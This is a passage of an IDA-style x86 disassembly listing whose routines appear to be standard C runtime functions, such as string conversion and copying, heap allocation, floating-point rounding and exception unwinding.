loc_415A03:				; CODE XREF: sub_4159D4+1Ej
		test	eax, eax
		jz	short loc_415A0A
		inc	edi
		jmp	short loc_4159DC
; ---------------------------------------------------------------------------


loc_415A0A:				; CODE XREF: sub_4159D4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_415A1A
		cmp	esi, 2Bh
		jnz	short loc_415A1E


loc_415A1A:				; CODE XREF: sub_4159D4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_415A1E:				; CODE XREF: sub_4159D4+44j
		xor	ebx, ebx


loc_415A20:				; CODE XREF: sub_4159D4+7Bj
		cmp	ds:dword_437F6C, 1
		jle	short loc_415A35
		push	4
		push	esi
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_415A40
; ---------------------------------------------------------------------------


loc_415A35:				; CODE XREF: sub_4159D4+53j
		mov	eax, ds:off_437D60
		mov	al, [eax+esi*2]
		and	eax, 4


loc_415A40:				; CODE XREF: sub_4159D4+5Fj
		test	eax, eax
		jz	short loc_415A51
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415A20
; ---------------------------------------------------------------------------


loc_415A51:				; CODE XREF: sub_4159D4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_415A5A
		neg	eax


loc_415A5A:				; CODE XREF: sub_4159D4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4159D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A5F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4159D4
		pop	ecx
		retn
sub_415A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A6A	proc near		; CODE XREF: seg000:00402036p
					; seg000:004021D3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415AA9
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415AB6
; ---------------------------------------------------------------------------


loc_415AA9:				; CODE XREF: sub_415A6A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_415AB6:				; CODE XREF: sub_415A6A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415A6A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AC0	proc near		; CODE XREF: seg000:00401EAEp
					; seg000:00401ECEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415B3A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415B27


loc_415AD8:				; CODE XREF: sub_415AC0+52j
					; sub_415AC0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jz	short loc_415AF4


loc_415AE9:				; CODE XREF: sub_415AC0+32j
		mov	al, [esi]
		inc	esi


loc_415AEC:				; CODE XREF: sub_415AC0+3Fj
		cmp	al, dl
		jz	short loc_415AFA
		test	al, al
		jnz	short loc_415AE9


loc_415AF4:				; CODE XREF: sub_415AC0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415AFA:				; CODE XREF: sub_415AC0+23j
					; sub_415AC0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415AEC
		lea	edi, [esi-1]


loc_415B04:				; CODE XREF: sub_415AC0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415B33
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415AD8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415B33
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415B04
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B27:				; CODE XREF: sub_415AC0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417086
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415AC0+49j
					; sub_415AC0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415B3A:				; CODE XREF: sub_415AC0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415AC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B40	proc near		; CODE XREF: seg000:004021AEp
					; sub_405A89+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415B55
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B8F
; ---------------------------------------------------------------------------


loc_415B55:				; CODE XREF: sub_415B40+Ej
		test	al, 83h
		jz	short loc_415B8D
		push	esi
		call	sub_4186E4
		push	esi
		mov	edi, eax
		call	sub_41867E
		push	dword ptr [esi+10h]
		call	sub_4185CB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B7B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B8D
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415B40+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B8D
		push	eax
		call	sub_415E3D
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_415B8D:				; CODE XREF: sub_415B40+17j
					; sub_415B40+39j ...
		mov	eax, edi


loc_415B8F:				; CODE XREF: sub_415B40+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B96	proc near		; CODE XREF: seg000:004021A8p
					; seg000:0040F856p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4187B6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D4C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418843
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B96	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BC8	proc near		; CODE XREF: sub_415BE8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4189F0
		test	eax, eax
		jnz	short loc_415BD2
		retn
; ---------------------------------------------------------------------------


loc_415BD2:				; CODE XREF: sub_415BC8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418880
		add	esp, 10h
		retn
sub_415BC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BE8	proc near		; CODE XREF: seg000:0040216Ep
					; sub_405A89+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415BC8
		add	esp, 0Ch
		retn
sub_415BE8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C00	proc near		; CODE XREF: sub_405B23+2BFp
					; sub_4099AA+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C71
sub_415C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415C10	proc near		; CODE XREF: seg000:0040214Cp
					; seg000:0040215Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415C2C


loc_415C1D:				; CODE XREF: sub_415C10+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415C5F
		test	ecx, 3
		jnz	short loc_415C1D


loc_415C2C:				; CODE XREF: sub_415C10+Bj
					; sub_415C10+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C2C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415C6E
		test	ah, ah
		jz	short loc_415C69
		test	eax, 0FF0000h
		jz	short loc_415C64
		test	eax, 0FF000000h
		jz	short loc_415C5F
		jmp	short loc_415C2C
; ---------------------------------------------------------------------------


loc_415C5F:				; CODE XREF: sub_415C10+12j
					; sub_415C10+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415C64:				; CODE XREF: sub_415C10+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415C69:				; CODE XREF: sub_415C10+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415C6E:				; CODE XREF: sub_415C10+39j
		lea	edi, [ecx-4]


loc_415C71:				; CODE XREF: sub_415C00+5j
					; sub_415C10+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C96


loc_415C7D:				; CODE XREF: sub_415C10+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415CE8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C7D
		jmp	short loc_415C96
; ---------------------------------------------------------------------------


loc_415C91:				; CODE XREF: sub_415C10+9Ej
					; sub_415C10+B8j
		mov	[edi], edx
		add	edi, 4


loc_415C96:				; CODE XREF: sub_415C10+6Bj
					; sub_415C10+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C91
		test	dl, dl
		jz	short loc_415CE8
		test	dh, dh
		jz	short loc_415CDF
		test	edx, 0FF0000h
		jz	short loc_415CD2
		test	edx, 0FF000000h
		jz	short loc_415CCA
		jmp	short loc_415C91
; ---------------------------------------------------------------------------


loc_415CCA:				; CODE XREF: sub_415C10+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CD2:				; CODE XREF: sub_415C10+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CDF:				; CODE XREF: sub_415C10+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CE8:				; CODE XREF: sub_415C10+72j
					; sub_415C10+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CF0	proc near		; CODE XREF: seg000:004023A2p
					; seg000:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415D10


loc_415CFC:				; CODE XREF: sub_415CF0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415D43
		test	ecx, 3
		jnz	short loc_415CFC
		add	eax, 0


loc_415D10:				; CODE XREF: sub_415CF0+Aj
					; sub_415CF0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415D10
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415D61
		test	ah, ah
		jz	short loc_415D57
		test	eax, 0FF0000h
		jz	short loc_415D4D
		test	eax, 0FF000000h
		jz	short loc_415D43
		jmp	short loc_415D10
; ---------------------------------------------------------------------------


loc_415D43:				; CODE XREF: sub_415CF0+11j
					; sub_415CF0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D4D:				; CODE XREF: sub_415CF0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D57:				; CODE XREF: sub_415CF0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D61:				; CODE XREF: sub_415CF0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415CF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D70	proc near		; CODE XREF: seg000:004024E4p
					; sub_402988+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D90


loc_415D7C:				; CODE XREF: sub_415D70+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D7C


loc_415D90:				; CODE XREF: sub_415D70+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D9F	proc near		; CODE XREF: sub_402FDD+7Ap
					; sub_402FDD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415DB3


loc_415DAB:				; CODE XREF: sub_415D9F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415DAB


loc_415DB3:				; CODE XREF: sub_415D9F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_415DB8:				; CODE XREF: sub_415D9F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415DB8
		pop	esi
		retn
sub_415D9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DC9	proc near		; CODE XREF: sub_403178+220p
					; sub_4033CB+C1p ...

arg_0		= dword	ptr  4

		push	ds:dword_4694E4
		push	[esp+4+arg_0]
		call	sub_415DDB
		pop	ecx
		pop	ecx
		retn
sub_415DC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DDB	proc near		; CODE XREF: sub_415DC9+Ap
					; sub_4167C5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415E04


loc_415DE2:				; CODE XREF: sub_415DDB+27j
		push	[esp+arg_0]
		call	sub_415E07
		test	eax, eax
		pop	ecx
		jnz	short locret_415E06
		cmp	[esp+arg_4], eax
		jz	short locret_415E06
		push	[esp+arg_0]
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	short loc_415DE2


loc_415E04:				; CODE XREF: sub_415DDB+5j
		xor	eax, eax

locret_415E06:				; CODE XREF: sub_415DDB+13j
					; sub_415DDB+19j
		retn
sub_415DDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E07	proc near		; CODE XREF: sub_415DDB+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_437F7C
		ja	short loc_415E1F
		push	esi
		call	sub_418E53
		test	eax, eax
		pop	ecx
		jnz	short loc_415E3B


loc_415E1F:				; CODE XREF: sub_415E07+Bj
		test	esi, esi
		jnz	short loc_415E26
		push	1
		pop	esi


loc_415E26:				; CODE XREF: sub_415E07+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap


loc_415E3B:				; CODE XREF: sub_415E07+16j
		pop	esi
		retn
sub_415E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E3D	proc near		; CODE XREF: sub_4033CB+10Ep
					; sub_4033CB+116p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415E6A
		push	esi
		call	sub_418AFD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E5C
		push	eax
		call	sub_418B28
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E5C:				; CODE XREF: sub_415E3D+13j
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421150	; RtlFreeHeap


loc_415E6A:				; CODE XREF: sub_415E3D+7j
		pop	esi
		retn
sub_415E3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E6C(double)

sub_415E6C	proc near		; CODE XREF: sub_40465E+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_437D20
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415EF2
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415ED5
		cmp	eax, 2
		jle	short loc_415EC7
		cmp	eax, 3
		jnz	short loc_415ED5
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415EC7:				; CODE XREF: sub_415E6C+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415ED5:				; CODE XREF: sub_415E6C+3Aj
					; sub_415E6C+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F2F
; ---------------------------------------------------------------------------


loc_415EF2:				; CODE XREF: sub_415E6C+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415F15


loc_415F07:				; CODE XREF: sub_415E6C+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F37
; ---------------------------------------------------------------------------


loc_415F15:				; CODE XREF: sub_415E6C+99j
		test	bl, 20h
		jnz	short loc_415F07
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415F2F:				; CODE XREF: sub_415E6C+84j
		call	sub_419651
		add	esp, 1Ch


loc_415F37:				; CODE XREF: sub_415E6C+59j
					; sub_415E6C+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F3B	proc near		; CODE XREF: sub_4177FA+9p
					; sub_419EEF+21p
					; DATA XREF: ...
		call	sub_415F53
		call	sub_419EEF
		mov	ds:dword_469464, eax
		call	sub_419E9F
		fnclex
		retn
sub_415F3B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F53	proc near		; CODE XREF: sub_415F3Bp
		mov	eax, offset sub_41A2DD
		mov	ds:off_43809C, offset loc_419F72
		mov	ds:off_438098, eax
		mov	ds:off_4380A0, offset sub_419FD8
		mov	ds:off_4380A4, offset sub_419F18
		mov	ds:off_4380A8, offset loc_419FC0
		mov	ds:off_4380AC, eax
		retn
sub_415F53	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F8C	proc near		; CODE XREF: sub_40465E+1Bp
					; sub_40465E+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415FB3(double)

sub_415FB3	proc near		; CODE XREF: sub_4046AA+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_437D38
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416039
		call	sub_419CEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41601C
		cmp	eax, 2
		jle	short loc_41600E
		cmp	eax, 3
		jnz	short loc_41601C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4195FE
		add	esp, 10h
		jmp	short loc_41607E
; ---------------------------------------------------------------------------


loc_41600E:				; CODE XREF: sub_415FB3+3Fj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------


loc_41601C:				; CODE XREF: sub_415FB3+3Aj
					; sub_415FB3+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416076
; ---------------------------------------------------------------------------


loc_416039:				; CODE XREF: sub_415FB3+2Fj
		call	sub_419CB3
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41605C


loc_41604E:				; CODE XREF: sub_415FB3+ACj
		push	esi
		push	ebx
		call	sub_419E26
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41607E
; ---------------------------------------------------------------------------


loc_41605C:				; CODE XREF: sub_415FB3+99j
		test	bl, 20h
		jnz	short loc_41604E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_416076:				; CODE XREF: sub_415FB3+84j
		call	sub_419651
		add	esp, 1Ch


loc_41607E:				; CODE XREF: sub_415FB3+59j
					; sub_415FB3+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415FB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416082	proc near		; CODE XREF: sub_41A74E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_416082	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4160B6	proc near		; CODE XREF: sub_41A8FF+199p
					; sub_41AAC3+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160B6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4160BD	proc near		; CODE XREF: sub_41A8FF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4160BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160C4	proc near		; CODE XREF: sub_416276+5Cp
					; sub_41A74E:loc_41A77Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160EC
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42010C	; RtlUnwind


loc_4160EC:				; DATA XREF: sub_4160C4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160C4	endp

; ---------------------------------------------------------------------------


loc_416113:				; CODE XREF: seg000:00420268j
					; seg000:00420285j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A353
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416149	proc near		; CODE XREF: sub_41A7C9+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41619D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AB50
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416149	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41619D	proc near		; DATA XREF: sub_416149+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A353
